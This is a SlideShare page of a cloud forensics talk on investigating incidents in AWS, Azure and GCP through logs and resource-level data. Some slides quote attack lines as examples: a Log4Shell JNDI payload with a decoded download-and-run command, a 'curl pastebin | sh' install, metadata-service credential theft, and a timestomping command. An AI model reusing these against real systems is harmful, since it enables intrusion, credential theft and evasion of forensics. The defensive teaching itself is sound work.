SlideShare a Scribd company logo
A New Perspective on
Resource-Level Cloud Forensics
today we’ll learn by example how to combine
analysis of both logs and resources
to respond to incidents in the cloud
in the cloud…
can you identify root cause with just logs?
it depends…
Cloud Forensics = Log Analysis?
Cado Security | 4
Cloud
(Control Plane)
Forensics
Host Forensics Log Forensics Network Forensics
Cloud Forensics if it means “forensics of a cloud estate”
Cloud Forensics if it means “forensics of cloud
provider control plane”
cloud forensics
1. The application of scientific knowledge to legal problems in the cloud
* sorry for defining forensics in a room full of forensic experts
Cloud Incident Domains According to AWS
See “Cloud Security Incident Domains” in the AWS Security Incident Response Guide
Service Domain Infrastructure domain Application Domain
Identity & Access Management (IAM)
Billing
Virtual Machines
Containers
Application Code
Deployed Software
Control Plane Data Plane
Create/Delete/Edit Resources
Identity & Access Management (IAM)
Resources Themselves
Auth Data Plane
Control Plan & Data Plane
● Last year’s SANS DFIR keynote by Josh Lemon & Megan Roddie:
“DFIR Evidence Collection and Preservation for the Cloud”
● Key take-away (for me): Enable all the logs
Previously on Cloud Forensics at SANS….
There are Undocumented Logs & Unavailable Logs
“What standards should forensics professionals hold ourselves to, for
disclosure of ‘0-day forensic artifacts’?
What is the responsibility of service providers such as Microsoft, to support
forensic investigations?
It’s time to establish standards for audit logging and preservation in the cloud”
And there are Expensive Logs…
definitions are boring…
so here is an example
Cado Security | 12
Initial Access with StackSet Phishing
Cado Security | 13
Stackset Phishing
From: AWS
Subject: Deploy this Stackset
EvilRoleInYourAccount:
Effect: Allow
Principal: arn:aws:iam::AttackersAccount
Action: 'sts:AssumeRole'
...AmazonSSMFullAccess…
● Phishing convinces admin to deploy StackSet
● StackSet creates enables attackers AWS account to run commands
against EC2s in victim account via SSM
● See “Lesser Known Techniques for Attacking AWS Environments” by
Scott Piper
Cloudtrail Logs
Enabled by default
90 days of data free
Cado Security | 14
aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=CreateRole
"EventName": "CreateRole",
"EventTime": "2023-07-29T14:09:40+01:00" ,
"EventSource": "iam.amazonaws.com" ,
"Resources": [
{
"ResourceType" : "AWS::IAM::Role" ,
"ResourceName" : "EvilRoleInYourAccount"
}
Azure Google Cloud
Azure Monitor / Audit Logs Audit Logs: System & Admin
Azure and GCP Equivalent Data
See last years Keynote for more
Lateral Movement with SSM Run Command
Stackset Phishing
From: AWS
Subject: Deploy this Stackset
SSM Run Command
Attacker executes SSM commands using their trusted role in victims account
This means they can run commands against any EC2 with SSM enabled
See “cross account ssm start session” on Stackoverflow
aws ec2 describe-instances --region
aws ssm start-session --target i-001
whoami
SSM logged in CloudWatch and S3
Logs execution to CloudWatch or S3
Includes detailed Session Data
Disabled by default
EC2 Instance needs IAM permissions
From “How to search through your AWS Systems Manager Session Manager console logs” by AWS
SSM “Official” Logs
Logs live under /var/log/amazon/ssm/
Can forward with CloudWatch Agent/SIEM
Or pull from disk
More for diagnostics
Generally not that useful for security
2021-06-08 11:15:14 INFO [ssm-agent-worker]
[MessagingDeliveryService] received plugin:
aws:runShellScript result from Processor
2021-06-08 11:15:14 INFO [ssm-agent-worker]
[MessagingDeliveryService] Sending reply {
"additionalInfo": {
"agent": {
amazon-ssm-agent.log
Undocumented SSM Logs
sh-4.2$
[ec2-user@ip-10-0-2-54 ~]$ ls
key
[ec2-user@ip-10-0-2-54 ~]$ aws s3 cp staff.txt
s3://eu-west-1-prod-data --region eu-west-1
Completed 802 Bytes/802 Bytes (9.4 KiB/s) with 1
file(s) remaining
[ec2-user@ip-10-0-2-54 ~]$ logout
sh-4.2$ exit
The best data is in an undocumented log called
ipcTempFile.log
Contains full session data, both directions
Credit to Al & Korstiaan for the discovery
Linux:
/var/lib/amazon/ssm/<EC2-INSTANCE-ID>/ses
sion/orchestration/<USER>-<RANDOM ID>/
Windows:
C:ProgramDataAmazonSSMInstanceData<
EC2 INSTANCE ID>sessionorchestration
ipcTempFile.log
See “IPC YOU: How the Cado Platform Reveals Attacker Command Outputs” by Cado Security
What is logged?
● Data Access Log - not enabled by default
● Catches invocations of gcloud compute ssh
● No distinction between remote command invocation and generic SSH login events
● No difference even when Gcloud Monitoring agent enabled
● Investigator “blind” without auditd enabled
GCP Equivalent: gcloud compute
Methods of interacting with Linux Compute VMs:
● gcloud compute ssh –zone ZONE INSTANCE – ‘<run command here>’
● Won’t log to histfile
● No ipcTempfile.log equivalent (sadly!)
● Gcloud Monitoring agent disabled by default
GCP Equivalent: Gcloud Compute Interaction
GCP Equivalent: gcloud compute
Azure Equivalent : Run Command
From “Azure Run Command for Dummies” from Mandiant
az vm run-command invoke --command-id RunPowerShellScript --name winvm -g resourcegroup --scripts
@myscript.ps1 --parameters "arg1=firstarg"
No public references I could find on “cloud agent forensic artifacts”
Other than SSM by Cado Security and on Run Command by
Mandiant
“It’s time to establish standards for audit logging and
preservation in the cloud”
Attack: Persistence: Install Malware on EC2
Install Malware on EC2
Stackset Phishing
From: AWS
Subject: Deploy this Stackset
SSM Run Command
Now we’re in the realm of classic host forensics
But some things are still different in the cloud…
curl https://pastebin.com/raw/1ahZ | sh
Anti-Forensics in cloud resources is surprisingly common…
But it’s not this:
The Shadow Brokers: eventlogedit
Can you trust resource-level data?
It’s this
27
CoinStomp: touch -t20230101 /usr/bin/modusr
WatchDog - Rudimentary Process Hider
28
● Recent campaign has some interesting detection evasion
● Similar timestomping technique
● The most UNIX-y process hider ever!
WatchDog - Hidden-ish directory
29
WatchDog - Renaming data transfer utilities
30
Coinstomp - Timestamp Manipulation
31
CoinStomp - Timestamp Manipulation
32
sometimes you can’t find
root cause…
without the files
Cado Security | 33
Getting an EC2 Disk/Volume
Typical Process:
● Snapshot Volume
● Turn Snapshot into new Volume
● Attach Volume to an EC2
● Upload DD to S3
● Why is it so hard to get a disk image?
● https://github.com/aws-solutions/automated-forensic-orchestrator-for-amazon-ec2
Issues:
- Performance - Fast Snapshot Restore
- Marketplace Codes
Alternative Options:
- Block API - https://github.com/awslabs/coldsnap
- Transfer Disk, in Parallel with Processing
Alternatives to Full Disk in AWS
● Acquire triage files using SSM
See “Automated Triage Collection at Scale in the AWS Cloud” by Ryan Tick
● EDR - If installed
● GuardDuty can now anti-virus scan volumes for you
Azure Equivalent: Getting a Disk
● Easy .VHD download link :)
● But network is flaky :(
● Wrap the API call with *lots* of retries
● Particularly bad in certain regions
● Noticeably worse for a period in May/June - DDoS?
GCP Equivalent: Getting a Disk
● Create Image
● Export Image to Cloud Storage (VMDK, VHDX, VPC, QCOW2)
● Download from Cloud Storage
● Fast Reliable Downloads
cloud* kubernetes* ransomware*
* buzzword bingo
Cado Security | 38
Log4Shell Exploit of App in Pod for Initial Access
Exploit App in EKS
POST / HTTP/1.1
User-Agent: ${jndi:ldap://45.137.21.9:1389/Basic/Command/Base64/d2dldCBo…==}
Host: 89.188.76.250
Decoded: wget http://62.210.130.250/lh.sh;chmod +x lh.sh;./lh.sh
See “Cloud lateral movement: Breaking in through a vulnerable container” by SysDig
“Log4Shell Hell: anatomy of an exploit outbreak” by Sophos
Lateral Movement: Steal Keys from Container MetaData Service
Exploit App in EKS Hit Metadata URL
● 169.254.169.254
● /iam/security/credentials
● 169.254.170.2 - EKS!
See “TeamTNT Script Employed to Grab AWS Credentials” by Cado Security
AWS Cloud
VPC
EKS on EC2
Web Server in Container
?
Optional Logs in S3 *
kube-apiserver-
kube-apiserver-audit-
authenticator-
kube-controller-manager-
kube-scheduler-
Inaccessible Logs *
Logs in Other Services *
Traffic mirroring *
O/S Logs *
Docker File System *
(Forensic Artifacts,
Malware…)
Docker Logs *
Volatile Data*
O/S Logs *
Native File System*
(Forensic Artifacts, Malware…)
Volatile Data*
* Logs * Not Logs
Response: Data Sources for a compromise in EKS on EC2
Getting the Data
The web server logs the malicious script and other file system activity to work out what happened
here
EKS on EC2?
● Grab the data the whole volume from the node. Typically overlay2 versioned filesystem.
Can also grab files from inside the container using Kubernetes API
● Also grab memory from inside the container too as CAP_SYS_PTRACE is typically enabled
See “How we Sped up Acquiring Forensic Data From Managed Kubernetes Services by 97% by
Rebuilding the SDK” by Cado Security for sample code
As you can see, there is a lot here…
For more, go back in time 1 hour and see:
“EKS Incident Response and Forensic Analysis”
by Jonathon Poling
Ransom S3 Bucket
S3 Ransomware Example
Exploit App in EKS Hit Metadata URL
S3 Ransomware
See “The anatomy of ransomware event targeting data residing in Amazon S3”
Most Common Causes:
1. IAM Access Key Accidental Disclosure
2. Vulnerability on EC2 with IAM Profile and IMDSv1 → STS Token
Was it data-destruction - or data theft and extortion?
● If you previously enabled S3 CloudWatch Metrics: BytesDownloaded
● If you previously enabled S3 Object Level Logging in CloudTrail:
● Cost Explorer has region-DataTransfer-Out-Bytes enabled by default so you can be billed
● Look for bucket-level events enabled by default in CloudTrail e.g.s3:ListBuckets,
s3:GetBucketLocation
● Look for IAM events enabled by default in CloudTrail relating to granting S3 permissions
^ All “cloud level” logs
Response
● S3 Object Lock
● S3 Versioning
● Backups!
● GuardDuty
● Stolen IAM Access?
In Summary…
● Need to look at both resources and logs
● Make sure logs are turned on
● Make sure you can access resources
Make sure your cloud logs are turned on
● “Logging in the Cloud: From Zero to (Incident Response) Hero”
by Jonathon Poling [AWS, GCP, Azure]
● https://github.com/prowler-cloud/prowler [AWS, GCP, Azure]
● Spreadsheet of where each services logs: https://bit.ly/3XidVm3 [AWS]
● https://github.com/awslabs/assisted-log-enabler-for-aws [AWS]
● FOR509
Make sure you can access resource-level data
● Set up permissions, roles and configurations in advance
○ e.g. Can you ECS Exec to your ECS Containers?
● Practice and test your access in advance, continually
○ It will degrade!
● Forward logs from resources to CloudWatch or SIEM. But $$$
● EDR can help, if installed
● FOR509 “Enterprise Cloud Forensics and Incident Response”
○ && FOR577 Linux Threat Hunting & Incident Response (new)
For more examples of real world cloud attacks, see:
● “Cloud Security Atlas” by DataDog
● https://github.com/ramimac/aws-customer-security-incidents (related)
Questions?
twitter: @chrisdoman
cdoman@cadosecurity.com

More Related Content

PPTX
Microsoft Defender for Endpoint Overview.pptx
PDF
Cybersecurity roadmap : Global healthcare security architecture
DOCX
Chapter 09 security_management_practices
PDF
Azure Sentinel
PPTX
Cyber Threat Hunting with Phirelight
PPTX
Optimizing Security Operations: 5 Keys to Success
DOCX
Chapter 07 risk_management_controlling_risk
PDF
Aujas incident management webinar deck 08162016
Microsoft Defender for Endpoint Overview.pptx
Cybersecurity roadmap : Global healthcare security architecture
Chapter 09 security_management_practices
Azure Sentinel
Cyber Threat Hunting with Phirelight
Optimizing Security Operations: 5 Keys to Success
Chapter 07 risk_management_controlling_risk
Aujas incident management webinar deck 08162016

What's hot (20)

PDF
Kaggle presentation
PPTX
Demystifying Zero Knowledge Proofs [FINAL].pptx
PPTX
Effective Threat Hunting with Tactical Threat Intelligence
PPTX
Module2.pptx
DOCX
Chapter 12 protection_mechanisms
PPTX
AI & ML in Cyber Security - Welcome Back to 1999 - Security Hasn't Changed
PPTX
Azure Sentinel.pptx
PDF
Journey to the Center of Security Operations
PDF
Workshop incident response n handling-bssn 12 nop 2019-ignmantra
PDF
Cs8792 cns - Public key cryptosystem (Unit III)
PDF
Explainability for Natural Language Processing
PDF
La evolución de IBM Qradar Suite
PDF
Abusing MS SQL Using SQLRecon
PDF
Visualization for Security
PDF
Threat hunting 101 by Sandeep Singh
PPTX
PowerShell for Practical Purple Teaming
PDF
ISO 27001 ISMS MEASUREMENT
PDF
Microsoft 365 Compliance
PPTX
The Path to IAM Maturity
PDF
Adversary Emulation - Red Team Village - Mayhem 2020
Kaggle presentation
Demystifying Zero Knowledge Proofs [FINAL].pptx
Effective Threat Hunting with Tactical Threat Intelligence
Module2.pptx
Chapter 12 protection_mechanisms
AI & ML in Cyber Security - Welcome Back to 1999 - Security Hasn't Changed
Azure Sentinel.pptx
Journey to the Center of Security Operations
Workshop incident response n handling-bssn 12 nop 2019-ignmantra
Cs8792 cns - Public key cryptosystem (Unit III)
Explainability for Natural Language Processing
La evolución de IBM Qradar Suite
Abusing MS SQL Using SQLRecon
Visualization for Security
Threat hunting 101 by Sandeep Singh
PowerShell for Practical Purple Teaming
ISO 27001 ISMS MEASUREMENT
Microsoft 365 Compliance
The Path to IAM Maturity
Adversary Emulation - Red Team Village - Mayhem 2020
Ad

Similar to A New Perspective on Resource-Level Cloud Forensics (20)

PDF
AWS Incident Response Cheat Sheet.pdf
PDF
Ultimate Guide to Incident Response in AWS.pdf
PDF
Taking a Selfie - Just Try to Resist! Doing Forensics the DevSecOps Way
PPTX
OWASP Atlanta 2018: Forensics as a Service
PPTX
SANS Cloud Security Summit 2018: Forensics as a Service
PDF
Case Studies A Kubernetes DFIR investigation.pdf
PDF
The Ultimate Guide to Docker & Kubernetes Forensics and Incident Response.pdf
PDF
Using Splunk or ELK for Auditing AWS/GCP/Azure Security posture
PDF
Using Splunk/ELK for auditing AWS/GCP/Azure security posture
PDF
Alabama CyberNow 2018: Cloud Hardening and Digital Forensics Readiness
PPTX
Hackproof Your Cloud: Responding to 2016 Threats
PDF
ShmooCon 2015: No Budget Threat Intelligence - Tracking Malware Campaigns on ...
PDF
Cloud Breach - Forensics Audit Planning
PDF
Detecting Malicious Cloud Account Behavior: A Look at the New Native Platform...
PDF
Beyond S3 Buckets - Effective Countermeasures for Emerging Cloud Threats
PPTX
Hack proof your aws cloud cloudcheckr_040416
PDF
Cloud Security Fundamentals for Forensics and Incident Response.pdf
PPTX
Automate or die! Rootedcon 2017
PPTX
Toni de la Fuente - Automate or die! How to survive to an attack in the Cloud...
PDF
Breaking The Cloud Kill Chain
AWS Incident Response Cheat Sheet.pdf
Ultimate Guide to Incident Response in AWS.pdf
Taking a Selfie - Just Try to Resist! Doing Forensics the DevSecOps Way
OWASP Atlanta 2018: Forensics as a Service
SANS Cloud Security Summit 2018: Forensics as a Service
Case Studies A Kubernetes DFIR investigation.pdf
The Ultimate Guide to Docker & Kubernetes Forensics and Incident Response.pdf
Using Splunk or ELK for Auditing AWS/GCP/Azure Security posture
Using Splunk/ELK for auditing AWS/GCP/Azure security posture
Alabama CyberNow 2018: Cloud Hardening and Digital Forensics Readiness
Hackproof Your Cloud: Responding to 2016 Threats
ShmooCon 2015: No Budget Threat Intelligence - Tracking Malware Campaigns on ...
Cloud Breach - Forensics Audit Planning
Detecting Malicious Cloud Account Behavior: A Look at the New Native Platform...
Beyond S3 Buckets - Effective Countermeasures for Emerging Cloud Threats
Hack proof your aws cloud cloudcheckr_040416
Cloud Security Fundamentals for Forensics and Incident Response.pdf
Automate or die! Rootedcon 2017
Toni de la Fuente - Automate or die! How to survive to an attack in the Cloud...
Breaking The Cloud Kill Chain
Ad

More from Christopher Doman (20)

PDF
Minimizing Permissions for Cloud Forensics_ A Practical Guide for Tightening ...
PDF
Cloudgrep - Blackhat Aresenal - cloudgrep searches cloud storage
PDF
Cloud Detection & Response - GCP - Google Cloud
PDF
Cloud Detection & Response - Azure - Details
PDF
Cloud Detection & Response - AWS - Details
PDF
Cloud Detection & Response - Vendors.pdf
PDF
Cloud Detection & Response - Solutions -
PDF
Cloud Detection & Response Tools - Cloud Detection and Response (CDR) tools a...
PDF
Cloud Detection & Response - Definitions.pdf
PDF
Five Reasons Why You Need Cloud Investigation & Response Automation
PDF
Azure Incident Response Cheat Sheet.pdf
PDF
Cloud Forensics Tools
PDF
Cloud Forensics and Incident Response Training.pdf
PDF
AWS Guard Duty Forensics & Incident Response.pdf
PDF
EKS Forensics & Incident Response.pdf
PDF
AWS IAM Forensics & Incident Response
PDF
AWS Forensics & Incident Response
PDF
Lambda Forensics & Incident Response.pdf
PDF
Case Studies Denonia - Lambda DFIR.pdf
PDF
AWS Detective Forensics & Incident Response.pdf
Minimizing Permissions for Cloud Forensics_ A Practical Guide for Tightening ...
Cloudgrep - Blackhat Aresenal - cloudgrep searches cloud storage
Cloud Detection & Response - GCP - Google Cloud
Cloud Detection & Response - Azure - Details
Cloud Detection & Response - AWS - Details
Cloud Detection & Response - Vendors.pdf
Cloud Detection & Response - Solutions -
Cloud Detection & Response Tools - Cloud Detection and Response (CDR) tools a...
Cloud Detection & Response - Definitions.pdf
Five Reasons Why You Need Cloud Investigation & Response Automation
Azure Incident Response Cheat Sheet.pdf
Cloud Forensics Tools
Cloud Forensics and Incident Response Training.pdf
AWS Guard Duty Forensics & Incident Response.pdf
EKS Forensics & Incident Response.pdf
AWS IAM Forensics & Incident Response
AWS Forensics & Incident Response
Lambda Forensics & Incident Response.pdf
Case Studies Denonia - Lambda DFIR.pdf
AWS Detective Forensics & Incident Response.pdf

Recently uploaded (20)

PPTX
Performance Analytics in the field of sports.pptx
PDF
volleyball lesson.powerpoint presentation
PDF
Understanding Volunteering_ A Look at Its True Meaning by David Bennett Gallo...
PDF
FIFA World Cup Scaloni Hopeful for Messi’s FIFA World Cup 2026 Participation.pdf
DOC
Bishop's毕业证学历认证,维耶蒙特利尔学校毕业证毕业证文凭
PPTX
Sports Writing by SHS Teacher Roel A. Naza
PDF
Download GTA 5 For PC (Windows 7, 10, 11)
DOCX
NFL Dublin Addison Fuels Steelers-Vikings Showdown.docx
DOCX
NFL Dublin Will Howard’s Preseason Be Over After Hand Injury.docx
DOCX
How FIFA 2026 Is Changing Vancouver Before Kickoff.docx
DOCX
NFL Madrid Dolphins Scramble for Reinforcements.docx
DOCX
FIFA World Cup Semi Final The Battle for Global Supremacy.docx
PPTX
International Football (International football is a type of soccer in which n...
PDF
How Teams Compete to Find Sponsors for Their Jerseys
DOCX
NFL Dublin Injury Ends Season for Former Vikings Standout.docx
DOCX
NFL Dublin Vikings Turn to Speed with Tai Felton.docx
DOCX
From Playgrounds to Pitches Empowering the Next Generation.docx
PPTX
BADMINTON-2ND-WEEK-FUNDAMENTAL-SKILLS.pptx
PDF
Best All-Access Digital Pass me .... pdf
DOCX
NFL Dublin Who Will Rise as Super Bowl 60 Champs.docx
Performance Analytics in the field of sports.pptx
volleyball lesson.powerpoint presentation
Understanding Volunteering_ A Look at Its True Meaning by David Bennett Gallo...
FIFA World Cup Scaloni Hopeful for Messi’s FIFA World Cup 2026 Participation.pdf
Bishop's毕业证学历认证,维耶蒙特利尔学校毕业证毕业证文凭
Sports Writing by SHS Teacher Roel A. Naza
Download GTA 5 For PC (Windows 7, 10, 11)
NFL Dublin Addison Fuels Steelers-Vikings Showdown.docx
NFL Dublin Will Howard’s Preseason Be Over After Hand Injury.docx
How FIFA 2026 Is Changing Vancouver Before Kickoff.docx
NFL Madrid Dolphins Scramble for Reinforcements.docx
FIFA World Cup Semi Final The Battle for Global Supremacy.docx
International Football (International football is a type of soccer in which n...
How Teams Compete to Find Sponsors for Their Jerseys
NFL Dublin Injury Ends Season for Former Vikings Standout.docx
NFL Dublin Vikings Turn to Speed with Tai Felton.docx
From Playgrounds to Pitches Empowering the Next Generation.docx
BADMINTON-2ND-WEEK-FUNDAMENTAL-SKILLS.pptx
Best All-Access Digital Pass me .... pdf
NFL Dublin Who Will Rise as Super Bowl 60 Champs.docx

A New Perspective on Resource-Level Cloud Forensics

  • 1. A New Perspective on Resource-Level Cloud Forensics
  • 2. today we’ll learn by example how to combine analysis of both logs and resources to respond to incidents in the cloud
  • 3. in the cloud… can you identify root cause with just logs? it depends…
  • 4. Cloud Forensics = Log Analysis? Cado Security | 4
  • 5. Cloud (Control Plane) Forensics Host Forensics Log Forensics Network Forensics Cloud Forensics if it means “forensics of a cloud estate” Cloud Forensics if it means “forensics of cloud provider control plane”
  • 6. cloud forensics 1. The application of scientific knowledge to legal problems in the cloud * sorry for defining forensics in a room full of forensic experts
  • 7. Cloud Incident Domains According to AWS See “Cloud Security Incident Domains” in the AWS Security Incident Response Guide Service Domain Infrastructure domain Application Domain Identity & Access Management (IAM) Billing Virtual Machines Containers Application Code Deployed Software
  • 8. Control Plane Data Plane Create/Delete/Edit Resources Identity & Access Management (IAM) Resources Themselves Auth Data Plane Control Plan & Data Plane
  • 9. ● Last year’s SANS DFIR keynote by Josh Lemon & Megan Roddie: “DFIR Evidence Collection and Preservation for the Cloud” ● Key take-away (for me): Enable all the logs Previously on Cloud Forensics at SANS….
  • 10. There are Undocumented Logs & Unavailable Logs “What standards should forensics professionals hold ourselves to, for disclosure of ‘0-day forensic artifacts’? What is the responsibility of service providers such as Microsoft, to support forensic investigations? It’s time to establish standards for audit logging and preservation in the cloud”
  • 11. And there are Expensive Logs…
  • 12. definitions are boring… so here is an example Cado Security | 12
  • 13. Initial Access with StackSet Phishing Cado Security | 13 Stackset Phishing From: AWS Subject: Deploy this Stackset EvilRoleInYourAccount: Effect: Allow Principal: arn:aws:iam::AttackersAccount Action: 'sts:AssumeRole' ...AmazonSSMFullAccess… ● Phishing convinces admin to deploy StackSet ● StackSet creates enables attackers AWS account to run commands against EC2s in victim account via SSM ● See “Lesser Known Techniques for Attacking AWS Environments” by Scott Piper
  • 14. Cloudtrail Logs Enabled by default 90 days of data free Cado Security | 14 aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=CreateRole "EventName": "CreateRole", "EventTime": "2023-07-29T14:09:40+01:00" , "EventSource": "iam.amazonaws.com" , "Resources": [ { "ResourceType" : "AWS::IAM::Role" , "ResourceName" : "EvilRoleInYourAccount" }
  • 15. Azure Google Cloud Azure Monitor / Audit Logs Audit Logs: System & Admin Azure and GCP Equivalent Data See last years Keynote for more
  • 16. Lateral Movement with SSM Run Command Stackset Phishing From: AWS Subject: Deploy this Stackset SSM Run Command Attacker executes SSM commands using their trusted role in victims account This means they can run commands against any EC2 with SSM enabled See “cross account ssm start session” on Stackoverflow aws ec2 describe-instances --region aws ssm start-session --target i-001 whoami
  • 17. SSM logged in CloudWatch and S3 Logs execution to CloudWatch or S3 Includes detailed Session Data Disabled by default EC2 Instance needs IAM permissions From “How to search through your AWS Systems Manager Session Manager console logs” by AWS
  • 18. SSM “Official” Logs Logs live under /var/log/amazon/ssm/ Can forward with CloudWatch Agent/SIEM Or pull from disk More for diagnostics Generally not that useful for security 2021-06-08 11:15:14 INFO [ssm-agent-worker] [MessagingDeliveryService] received plugin: aws:runShellScript result from Processor 2021-06-08 11:15:14 INFO [ssm-agent-worker] [MessagingDeliveryService] Sending reply { "additionalInfo": { "agent": { amazon-ssm-agent.log
  • 19. Undocumented SSM Logs sh-4.2$ [ec2-user@ip-10-0-2-54 ~]$ ls key [ec2-user@ip-10-0-2-54 ~]$ aws s3 cp staff.txt s3://eu-west-1-prod-data --region eu-west-1 Completed 802 Bytes/802 Bytes (9.4 KiB/s) with 1 file(s) remaining [ec2-user@ip-10-0-2-54 ~]$ logout sh-4.2$ exit The best data is in an undocumented log called ipcTempFile.log Contains full session data, both directions Credit to Al & Korstiaan for the discovery Linux: /var/lib/amazon/ssm/<EC2-INSTANCE-ID>/ses sion/orchestration/<USER>-<RANDOM ID>/ Windows: C:ProgramDataAmazonSSMInstanceData< EC2 INSTANCE ID>sessionorchestration ipcTempFile.log See “IPC YOU: How the Cado Platform Reveals Attacker Command Outputs” by Cado Security
  • 20. What is logged? ● Data Access Log - not enabled by default ● Catches invocations of gcloud compute ssh ● No distinction between remote command invocation and generic SSH login events ● No difference even when Gcloud Monitoring agent enabled ● Investigator “blind” without auditd enabled GCP Equivalent: gcloud compute
  • 21. Methods of interacting with Linux Compute VMs: ● gcloud compute ssh –zone ZONE INSTANCE – ‘<run command here>’ ● Won’t log to histfile ● No ipcTempfile.log equivalent (sadly!) ● Gcloud Monitoring agent disabled by default GCP Equivalent: Gcloud Compute Interaction
  • 23. Azure Equivalent : Run Command From “Azure Run Command for Dummies” from Mandiant az vm run-command invoke --command-id RunPowerShellScript --name winvm -g resourcegroup --scripts @myscript.ps1 --parameters "arg1=firstarg"
  • 24. No public references I could find on “cloud agent forensic artifacts” Other than SSM by Cado Security and on Run Command by Mandiant “It’s time to establish standards for audit logging and preservation in the cloud”
  • 25. Attack: Persistence: Install Malware on EC2 Install Malware on EC2 Stackset Phishing From: AWS Subject: Deploy this Stackset SSM Run Command Now we’re in the realm of classic host forensics But some things are still different in the cloud… curl https://pastebin.com/raw/1ahZ | sh
  • 26. Anti-Forensics in cloud resources is surprisingly common… But it’s not this: The Shadow Brokers: eventlogedit Can you trust resource-level data?
  • 27. It’s this 27 CoinStomp: touch -t20230101 /usr/bin/modusr
  • 28. WatchDog - Rudimentary Process Hider 28 ● Recent campaign has some interesting detection evasion ● Similar timestomping technique ● The most UNIX-y process hider ever!
  • 29. WatchDog - Hidden-ish directory 29
  • 30. WatchDog - Renaming data transfer utilities 30
  • 31. Coinstomp - Timestamp Manipulation 31
  • 32. CoinStomp - Timestamp Manipulation 32
  • 33. sometimes you can’t find root cause… without the files Cado Security | 33
  • 34. Getting an EC2 Disk/Volume Typical Process: ● Snapshot Volume ● Turn Snapshot into new Volume ● Attach Volume to an EC2 ● Upload DD to S3 ● Why is it so hard to get a disk image? ● https://github.com/aws-solutions/automated-forensic-orchestrator-for-amazon-ec2 Issues: - Performance - Fast Snapshot Restore - Marketplace Codes Alternative Options: - Block API - https://github.com/awslabs/coldsnap - Transfer Disk, in Parallel with Processing
  • 35. Alternatives to Full Disk in AWS ● Acquire triage files using SSM See “Automated Triage Collection at Scale in the AWS Cloud” by Ryan Tick ● EDR - If installed ● GuardDuty can now anti-virus scan volumes for you
  • 36. Azure Equivalent: Getting a Disk ● Easy .VHD download link :) ● But network is flaky :( ● Wrap the API call with *lots* of retries ● Particularly bad in certain regions ● Noticeably worse for a period in May/June - DDoS?
  • 37. GCP Equivalent: Getting a Disk ● Create Image ● Export Image to Cloud Storage (VMDK, VHDX, VPC, QCOW2) ● Download from Cloud Storage ● Fast Reliable Downloads
  • 38. cloud* kubernetes* ransomware* * buzzword bingo Cado Security | 38
  • 39. Log4Shell Exploit of App in Pod for Initial Access Exploit App in EKS POST / HTTP/1.1 User-Agent: ${jndi:ldap://45.137.21.9:1389/Basic/Command/Base64/d2dldCBo…==} Host: 89.188.76.250 Decoded: wget http://62.210.130.250/lh.sh;chmod +x lh.sh;./lh.sh See “Cloud lateral movement: Breaking in through a vulnerable container” by SysDig “Log4Shell Hell: anatomy of an exploit outbreak” by Sophos
  • 40. Lateral Movement: Steal Keys from Container MetaData Service Exploit App in EKS Hit Metadata URL ● 169.254.169.254 ● /iam/security/credentials ● 169.254.170.2 - EKS! See “TeamTNT Script Employed to Grab AWS Credentials” by Cado Security
  • 41. AWS Cloud VPC EKS on EC2 Web Server in Container ? Optional Logs in S3 * kube-apiserver- kube-apiserver-audit- authenticator- kube-controller-manager- kube-scheduler- Inaccessible Logs * Logs in Other Services * Traffic mirroring * O/S Logs * Docker File System * (Forensic Artifacts, Malware…) Docker Logs * Volatile Data* O/S Logs * Native File System* (Forensic Artifacts, Malware…) Volatile Data* * Logs * Not Logs Response: Data Sources for a compromise in EKS on EC2
  • 42. Getting the Data The web server logs the malicious script and other file system activity to work out what happened here EKS on EC2? ● Grab the data the whole volume from the node. Typically overlay2 versioned filesystem. Can also grab files from inside the container using Kubernetes API ● Also grab memory from inside the container too as CAP_SYS_PTRACE is typically enabled See “How we Sped up Acquiring Forensic Data From Managed Kubernetes Services by 97% by Rebuilding the SDK” by Cado Security for sample code
  • 43. As you can see, there is a lot here… For more, go back in time 1 hour and see: “EKS Incident Response and Forensic Analysis” by Jonathon Poling
  • 44. Ransom S3 Bucket S3 Ransomware Example Exploit App in EKS Hit Metadata URL
  • 45. S3 Ransomware See “The anatomy of ransomware event targeting data residing in Amazon S3” Most Common Causes: 1. IAM Access Key Accidental Disclosure 2. Vulnerability on EC2 with IAM Profile and IMDSv1 → STS Token
  • 46. Was it data-destruction - or data theft and extortion? ● If you previously enabled S3 CloudWatch Metrics: BytesDownloaded ● If you previously enabled S3 Object Level Logging in CloudTrail: ● Cost Explorer has region-DataTransfer-Out-Bytes enabled by default so you can be billed ● Look for bucket-level events enabled by default in CloudTrail e.g.s3:ListBuckets, s3:GetBucketLocation ● Look for IAM events enabled by default in CloudTrail relating to granting S3 permissions ^ All “cloud level” logs
  • 47. Response ● S3 Object Lock ● S3 Versioning ● Backups! ● GuardDuty ● Stolen IAM Access?
  • 48. In Summary… ● Need to look at both resources and logs ● Make sure logs are turned on ● Make sure you can access resources
  • 49. Make sure your cloud logs are turned on ● “Logging in the Cloud: From Zero to (Incident Response) Hero” by Jonathon Poling [AWS, GCP, Azure] ● https://github.com/prowler-cloud/prowler [AWS, GCP, Azure] ● Spreadsheet of where each services logs: https://bit.ly/3XidVm3 [AWS] ● https://github.com/awslabs/assisted-log-enabler-for-aws [AWS] ● FOR509
  • 50. Make sure you can access resource-level data ● Set up permissions, roles and configurations in advance ○ e.g. Can you ECS Exec to your ECS Containers? ● Practice and test your access in advance, continually ○ It will degrade! ● Forward logs from resources to CloudWatch or SIEM. But $$$ ● EDR can help, if installed ● FOR509 “Enterprise Cloud Forensics and Incident Response” ○ && FOR577 Linux Threat Hunting & Incident Response (new)
  • 51. For more examples of real world cloud attacks, see: ● “Cloud Security Atlas” by DataDog ● https://github.com/ramimac/aws-customer-security-incidents (related)